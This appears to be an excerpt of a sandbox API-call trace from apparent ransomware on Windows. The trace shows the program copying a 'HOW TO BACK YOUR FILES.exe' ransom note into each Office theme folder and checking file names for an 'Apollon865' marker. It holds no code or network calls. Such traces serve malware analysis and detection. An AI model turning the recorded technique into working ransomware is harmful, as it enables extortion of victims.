	[0074.970] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL"
	[0074.970] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.970] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.977] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.977] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44c1a2d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44c1a2d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.977] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.977] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.977] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.977] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.977] lstrlenW (lpString="Apollon865") returned 10
	[0074.977] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.977] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="RADIAL.ELM" | out: lpString1="RADIAL.ELM") returned="RADIAL.ELM"
	[0074.977] lstrlenW (lpString="RADIAL.ELM") returned 10
	[0074.977] lstrlenW (lpString="Apollon865") returned 10
	[0074.977] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="RADIAL.INF" | out: lpString1="RADIAL.INF") returned="RADIAL.INF"
	[0074.977] lstrlenW (lpString="RADIAL.INF") returned 10
	[0074.977] lstrlenW (lpString="Apollon865") returned 10
	[0074.977] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.977] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.977] lstrlenW (lpString="Apollon865") returned 10
	[0074.978] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.978] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD"
	[0074.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c0008 | out: hHeap=0x580000) returned 1
	[0074.978] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff88 | out: hHeap=0x580000) returned 1
	[0074.978] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD") returned 60
	[0074.978] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD"
	[0074.978] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.978] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.982] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.982] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44c40430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44c40430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.982] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.982] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.982] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.982] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.982] lstrlenW (lpString="Apollon865") returned 10
	[0074.982] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.982] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="QUAD.ELM" | out: lpString1="QUAD.ELM") returned="QUAD.ELM"
	[0074.982] lstrlenW (lpString="QUAD.ELM") returned 8
	[0074.982] lstrlenW (lpString="Apollon865") returned 10
	[0074.982] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="QUAD.INF" | out: lpString1="QUAD.INF") returned="QUAD.INF"
	[0074.983] lstrlenW (lpString="QUAD.INF") returned 8
	[0074.983] lstrlenW (lpString="Apollon865") returned 10
	[0074.983] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.983] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.983] lstrlenW (lpString="Apollon865") returned 10
	[0074.983] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.983] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE"
	[0074.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bff80 | out: hHeap=0x580000) returned 1
	[0074.983] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff68 | out: hHeap=0x580000) returned 1
	[0074.983] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE") returned 63
	[0074.983] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE"
	[0074.983] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.983] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\profile\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.988] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.988] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44c40430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44c40430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.988] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.988] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.988] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.988] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.988] lstrlenW (lpString="Apollon865") returned 10
	[0074.988] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.988] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="PROFILE.ELM" | out: lpString1="PROFILE.ELM") returned="PROFILE.ELM"
	[0074.988] lstrlenW (lpString="PROFILE.ELM") returned 11
	[0074.988] lstrlenW (lpString="Apollon865") returned 10
	[0074.988] lstrcmpiW (lpString1="ROFILE.ELM", lpString2="Apollon865") returned 1
	[0074.988] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="PROFILE.INF" | out: lpString1="PROFILE.INF") returned="PROFILE.INF"
	[0074.989] lstrlenW (lpString="PROFILE.INF") returned 11
	[0074.989] lstrlenW (lpString="Apollon865") returned 10
	[0074.989] lstrcmpiW (lpString1="ROFILE.INF", lpString2="Apollon865") returned 1
	[0074.989] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.989] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.989] lstrlenW (lpString="Apollon865") returned 10
	[0074.989] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.989] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL"
	[0074.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0074.989] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff48 | out: hHeap=0x580000) returned 1
	[0074.989] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL") returned 61
	[0074.989] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL"
	[0074.989] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.989] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\pixel\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.993] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.993] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PIXEL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a44b570, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44c40430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44c40430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.993] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.993] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.994] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="PIXEL.ELM" | out: lpString1="PIXEL.ELM") returned="PIXEL.ELM"
	[0074.994] lstrlenW (lpString="PIXEL.ELM") returned 9
	[0074.994] lstrlenW (lpString="Apollon865") returned 10
	[0074.994] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="PIXEL.INF" | out: lpString1="PIXEL.INF") returned="PIXEL.INF"
	[0074.994] lstrlenW (lpString="PIXEL.INF") returned 9
	[0074.994] lstrlenW (lpString="Apollon865") returned 10
	[0074.994] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0074.994] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0074.994] lstrlenW (lpString="Apollon865") returned 10
	[0074.994] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0074.994] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0074.994] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0074.994] lstrlenW (lpString="Apollon865") returned 10
	[0074.994] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0074.994] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS"
	[0074.994] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfef8 | out: hHeap=0x580000) returned 1
	[0074.994] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff28 | out: hHeap=0x580000) returned 1
	[0074.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS") returned 63
	[0074.994] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS"
	[0074.994] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0074.995] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\papyrus\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0074.999] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0074.999] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PAPYRUS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59c68c90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44c66590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44c66590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0074.999] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0074.999] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0074.999] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="PAPYRUS.ELM" | out: lpString1="PAPYRUS.ELM") returned="PAPYRUS.ELM"
	[0074.999] lstrlenW (lpString="PAPYRUS.ELM") returned 11
	[0074.999] lstrlenW (lpString="Apollon865") returned 10
	[0074.999] lstrcmpiW (lpString1="APYRUS.ELM", lpString2="Apollon865") returned 1
	[0075.000] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="PAPYRUS.INF" | out: lpString1="PAPYRUS.INF") returned="PAPYRUS.INF"
	[0075.000] lstrlenW (lpString="PAPYRUS.INF") returned 11
	[0075.000] lstrlenW (lpString="Apollon865") returned 10
	[0075.000] lstrcmpiW (lpString1="APYRUS.INF", lpString2="Apollon865") returned 1
	[0075.000] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.000] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.000] lstrlenW (lpString="Apollon865") returned 10
	[0075.000] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.000] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.000] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.000] lstrlenW (lpString="Apollon865") returned 10
	[0075.000] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.000] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK"
	[0075.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfe70 | out: hHeap=0x580000) returned 1
	[0075.000] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ff08 | out: hHeap=0x580000) returned 1
	[0075.000] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK") returned 63
	[0075.000] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK"
	[0075.000] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.000] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.004] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.004] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x59544a90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44c66590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44c66590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.005] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="NETWORK.ELM" | out: lpString1="NETWORK.ELM") returned="NETWORK.ELM"
	[0075.005] lstrlenW (lpString="NETWORK.ELM") returned 11
	[0075.005] lstrlenW (lpString="Apollon865") returned 10
	[0075.005] lstrcmpiW (lpString1="ETWORK.ELM", lpString2="Apollon865") returned 1
	[0075.005] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="NETWORK.INF" | out: lpString1="NETWORK.INF") returned="NETWORK.INF"
	[0075.005] lstrlenW (lpString="NETWORK.INF") returned 11
	[0075.005] lstrlenW (lpString="Apollon865") returned 10
	[0075.005] lstrcmpiW (lpString1="ETWORK.INF", lpString2="Apollon865") returned 1
	[0075.005] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.005] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.005] lstrlenW (lpString="Apollon865") returned 10
	[0075.005] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.005] lstrcpyW (in: lpString1=0x2d3e5d0, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.005] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.005] lstrlenW (lpString="Apollon865") returned 10
	[0075.005] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.006] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL"
	[0075.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfde8 | out: hHeap=0x580000) returned 1
	[0075.006] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fee8 | out: hHeap=0x580000) returned 1
	[0075.006] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL") returned 61
	[0075.006] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL"
	[0075.006] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.006] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\level\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.011] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.011] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LEVEL\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44c8c6f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44c8c6f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.011] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="LEVEL.ELM" | out: lpString1="LEVEL.ELM") returned="LEVEL.ELM"
	[0075.011] lstrlenW (lpString="LEVEL.ELM") returned 9
	[0075.011] lstrlenW (lpString="Apollon865") returned 10
	[0075.011] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="LEVEL.INF" | out: lpString1="LEVEL.INF") returned="LEVEL.INF"
	[0075.011] lstrlenW (lpString="LEVEL.INF") returned 9
	[0075.011] lstrlenW (lpString="Apollon865") returned 10
	[0075.011] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="PREVIEW.GIF" | out: lpString1="PREVIEW.GIF") returned="PREVIEW.GIF"
	[0075.011] lstrlenW (lpString="PREVIEW.GIF") returned 11
	[0075.011] lstrlenW (lpString="Apollon865") returned 10
	[0075.011] lstrcmpiW (lpString1="REVIEW.GIF", lpString2="Apollon865") returned 1
	[0075.011] lstrcpyW (in: lpString1=0x2d3e5cc, lpString2="THMBNAIL.PNG" | out: lpString1="THMBNAIL.PNG") returned="THMBNAIL.PNG"
	[0075.011] lstrlenW (lpString="THMBNAIL.PNG") returned 12
	[0075.011] lstrlenW (lpString="Apollon865") returned 10
	[0075.011] lstrcmpiW (lpString1="MBNAIL.PNG", lpString2="Apollon865") returned 1
	[0075.012] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS", iMaxLength=260 | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS"
	[0075.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfd60 | out: hHeap=0x580000) returned 1
	[0075.012] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fec8 | out: hHeap=0x580000) returned 1
	[0075.012] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS") returned 62
	[0075.012] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS" | out: lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS") returned="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS"
	[0075.012] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0075.012] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0075.034] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.034] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x44c8c6f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x44c8c6f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca390
	[0075.035] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="LAYERS.ELM" | out: lpString1="LAYERS.ELM") returned="LAYERS.ELM"
